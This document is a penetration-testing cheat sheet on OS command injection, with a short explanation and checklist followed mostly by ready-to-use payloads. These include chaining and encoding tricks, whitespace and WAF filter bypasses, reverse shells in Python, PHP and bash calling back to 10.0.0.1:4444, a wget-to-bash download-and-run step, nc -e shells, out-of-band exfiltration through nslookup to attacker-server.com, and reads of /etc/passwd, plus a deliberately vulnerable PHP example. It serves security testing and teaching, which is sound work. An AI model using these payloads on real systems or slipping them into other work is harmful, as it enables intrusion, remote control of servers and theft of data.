# OS Command Injection

### What is it?

Command injection is a vulnerability that allows an attacker to manipulate an application to execute arbitrary system commands on the server. This occurs when an application passes unsafe data, often user input, to a system shell.

**A simple example**

A vulnerable web application might take a path from a query parameter and use it to read a file, like so:

```shellscript
$file = $_GET['file'];
system("cat /var/www/html/$file");
```

If an attacker uses a payload such as `; ls -la` in the `file` parameter, they can make the application execute an additional command that lists all files in the current directory.

The server then executes the `cat` command and the `ls` command and the attacker receives a list of all files in the current directory.

Command injection can often lead to:

* Remote code execution
* Denial of Service
* Data breach
* Privilege escalation

**Other learning resources:**

* PortSwigger: <https://portswigger.net/web-security/os-command-injection>
* OWASP: <https://owasp.org/www-community/attacks/Command_Injection>

**Writeups:**

* Bullets

### Checklist

* [ ] Determine the technology stack: Which operating system and server software are in use?
* [ ] Identify potential injection points: URL parameters, form fields, HTTP headers, etc.
* [ ] Test for simple injections with special characters like ;, &&, ||, and |. Test for injection within command arguments.
* [ ] Test for blind command injection, where output is not returned in the response. If output isn't directly visible, try creating outbound requests (e.g. using ping or curl).
* [ ] Try to escape from any restriction mechanisms, like quotes or double quotes.
* [ ] Test with a list of potentially dangerous functions/methods (like exec(), system(), passthru() in PHP, or exec, eval in Node.js).
* [ ] Test for command injection using time delays (ping -c localhost).
* [ ] Test for command injection using &&, ||, and ;.
* [ ] Test with common command injection payloads, such as those from PayloadsAllTheThings.
* [ ] If there's a filter in place, try to bypass it using various techniques like encoding, command splitting, etc.

## OS Command Injection <a href="#os-command-injection" id="os-command-injection"></a>

We can inject OS commands through URL params, POST data, etc.

### Automation <a href="#automation" id="automation"></a>

* [commix](https://github.com/commixproject/commix)

  ```shellscript
  commix.py -u https://example.com/?name=test
  commix.py -u https://example.com/ --method=POST -d "name=test"
  ```

\*Use `--batch` option for default behavior without user input.

### Basic Payloads <a href="#basic-payloads" id="basic-payloads"></a>

If the payload includes whitespaces (**' '**), we need to change it to **'+'** or **URL encoding ('%20')**.

```shellscript
/api/cmd/whoami
/command/whoami

/?cmd=whoami
/?cmd=;id

/?cmd=ls
/?cmd=ls ..
/?cmd=ls ../
/?cmd=ls /home
<!-- Comment out at the end to ignore subsequent command/code. -->
?cmd=ls /home #

/?cmd=`ping -c 1 10.0.0.1`

/?file=example.txt; echo $(ls -al /)
/?file=example.txt; echo $(ls -al /) |

<!-- PHP query string -->
/?q=;system($_GET[cmd])&cmd=whoami
/?q=${system($_GET[cmd])}&cmd=whoami

/?productId=1&stockId=1|whoami
/?productId=1&stockId=1|id

<!-- Windows -->
/?file=example.txt | systeminfo #
/?file=example.txt ; systeminfo #
/?file=example.txt') ; systeminfo #
```

#### URL Encoding <a href="#url-encoding" id="url-encoding"></a>

We may be able to bypass specific character filter by encoding them.

```shellscript
# %0A: newline
/?cmd=ls%0Aid
# %250A: newline (double encoding)
/?cmd=ls%250Aid
# Adding at the end.
/?cmd=ls%0Aid%0A

# %26: &
/?cmd=ls%26id
# %2526: & (double encoding)
/?cmd=ls%2526id
# &&
/?cmd=ls%26%26id
/?cmd=ls%2526%2526id

# %3B: ;
/?cmd=ls%3Bid
# %253B: ; (double encoding)
/?cmd=ls%253Bid
```

### Null-terminator <a href="#null-terminator" id="null-terminator"></a>

Sometimes, we need to put a null-terminator to ignore subsequent code given by the target application.

```
# URL encoding (%00)
?cmd=ls /home%00
# Escape sequence (\0, \00)
?cmd=ls /home\0
?cmd=ls /home\00
```

### Bypass Whitespace Filter <a href="#bypass-whitespace-filter" id="bypass-whitespace-filter"></a>

Reference: <https://www.ctfnote.com/web/os-command-injection/whitespace-bypass>

If the website filters whitespaces and we cannot inject OS command including spaces e.g. **'sleep 5'**, we can insert **Internal Field Separator (IFS)** as whitespace:

```shellscript
$IFS$9
# or
${IFS}
```

#### Payload Examples: <a href="#payload-examples" id="payload-examples"></a>

Below is the `ping -c 1 10.0.0.1` command:

```shellscript
/?cmd=ping$IFS$9-c$IFS$91$IFS$910.0.0.1
<!-- or -->
/?cmd=ping${IFS}-c${IFS}1${IFS}10.0.0.1
```

### Ping <a href="#ping" id="ping"></a>

Try pinging to our local machine for checking if our command injection achieves.\
To confirm the result, start tcpdump in our local machine.

```shellscript
# -i: Interface e.g. eth0, tun0
sudo tcpdump -i eth0 icmp
```

Then execute ping command in POST request.\
Below are examples for POST data.

```shellscript
file=example.jpg&filetype=png;ping+-c+1+10.0.0.1
```

### Reverse Shell <a href="#reverse-shell" id="reverse-shell"></a>

```
file=example.jpg&filetype=png;export RHOST="10.0.0.1";export RPORT=4444;python3 -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'
```

#### PHP Reverse Shell <a href="#php-reverse-shell" id="php-reverse-shell"></a>

Reference: <https://book.hacktricks.xyz/pentesting-web/command-injection#examples>

```shellscript
# 1. Download PHP payload
wget https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php -O shell.php

# 2. Edit `ip` and `port` values.
vim shell.php

# 3. Send payload & get shell (run `nc -lvnp <port>` in another terminal before doing this)
/?cmd=ls%0Awget+http://10.0.0.1/shell.php+-O+/tmp/shell.php%0Aphp+/tmp/shell.php
```

### Blind Command Injection (Time Delay) <a href="#blind-command-injection-time-delay" id="blind-command-injection-time-delay"></a>

Use `ping` command to check if the website will be loaded with time delay.

```shellscript
name=michael&email=michael@example.com||ping+-c+10+127.0.0.1||&message=hello
email=test@test.com;ping+-c+15+127.0.0.1+#&message=hello
```

If we find the command can be executed, we can execute the other commands as below.

```
email=test@test.com;cp+/etc/passwd+./+#&message=hello
```

### JSON Injection <a href="#json-injection" id="json-injection"></a>

```shellscript
{ "username": "\"; pwd \"" }
{"email": "\";ping -c 1 10.0.0.1\""}

{"name":"<script>alert(1)</script>", "email":"victim@vulnerable.com"}

{"name": "admin", "content": "{{template: ./admin.php}}"}
```

### PHP Injection <a href="#php-injection" id="php-injection"></a>

```shellscript
id=$(php -r '$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");')

# URL encode
id=1$(php%20-r%20'$sock=fsockopen(%2210.0.0.1%22,4444);exec(%22/bin/sh%20-i%20%3C&3%20%3E&3%202%3E&3%22);')
id=1$(php%20-r%20%27%24sock%3Dfsockopen%28%2210.0.0.1%22%2C4444%29%3Bexec%28%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27)
id=1`php%20-r%20%27%24sock%3Dfsockopen%28%2210.0.0.1%22%2C4444%29%3Bexec%28%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27`
```

### Indirect Payloads with Shell Script <a href="#indirect-payloads-with-shell-script" id="indirect-payloads-with-shell-script"></a>

If we cannot inject command directly as above, try injecting from files.

Create a shell script. The filename here is **`evil.sh`**\`.

```
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
```

Host this file by starting web server in the directory where the **`evil.sh`** exists.

```
sudo python3 -m http.server 80
```

In target website, inject command to let target server download the shell script and execute it. Before that, we need to start listerner by **`nc -lvnp 4444`** in another terminal in local machine. Here is the example.

```
/?cmd=ls;wget+http://10.0.0.1/evil.sh|bash
```

We might get a shell.

### Exploitation

Basic command chaining

```shellscript
; ls -la
```

Using logic operators

```shellscript
&& ls -la
```

Commenting out the rest of a command

```shellscript
; ls -la #
```

Using a pipe for command chaining

```shellscript
| ls -la
```

Testing for blind injection

```shellscript
; sleep 10
; ping -c 10 127.0.0.1
& whoami > /var/www/html/whoami.txt &
```

Out-of-band testing

```shellscript
& nslookup webhook.site/<id>?`whoami` &
```

## Command Injection

{% hint style="info" %}
Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application.
{% endhint %}

```shellscript
# For detection, try to concatenate another command to param value
&
;
Newline (0x0a or \n)
&&
|
||
# like: https://target.com/whatever?param=1|whoami

# Blind (Time delay)
https://target.com/whatever?param=x||ping+-c+10+127.0.0.1||

# Blind (Redirect)
https://target.com/whatever?param=x||whoami>/var/www/images/output.txt||

# Blind (OOB)
https://target.com/whatever?param=x||nslookup+burp.collaborator.address||
https://target.com/whatever?param=x||nslookup+`whoami`.burp.collaborator.address||

# Common params:
cmd
exec
command
execute
ping
query
jump
code
reg
do
func
arg
option
load
process
step
read
function
req
feature
exe
module
payload
run
print

# Useful Commands: Linux
whoami
ifconfig
ls
uname -a

# Useful Commands: Windows
whoami
ipconfig
dir
ver

# Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id 
ls|id; ls |id; ls| id; ls | id 
ls&&id; ls &&id; ls&& id; ls && id 
ls&id; ls &id; ls& id; ls & id 
ls %0A id

# Time Delay Commands
& ping -c 10 127.0.0.1 &

# Redirecting output
& whoami > /var/www/images/output.txt &

# OOB (Out Of Band) Exploitation
& nslookup attacker-server.com &
& nslookup `whoami`.attacker-server.com &

# WAF bypasses
vuln=127.0.0.1 %0a wget https://evil.txt/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash <attacker-ip> <attacker-port>
vuln=echo PAYLOAD > /tmp/payload.txt; cat /tmp/payload.txt | base64 -d > /tmp/payload; chmod 744 /tmp/payload; /tmp/payload

# Some filter bypasses
cat /etc/passwd
cat /e”t”c/pa”s”swd
cat /’e’tc/pa’s’ swd
cat /etc/pa??wd
cat /etc/pa*wd
cat /et’ ‘c/passw’ ‘d
cat /et$()c/pa$()$swd
{cat,/etc/passwd}
cat /???/?????d

# Tools
https://github.com/commixproject/commix
```
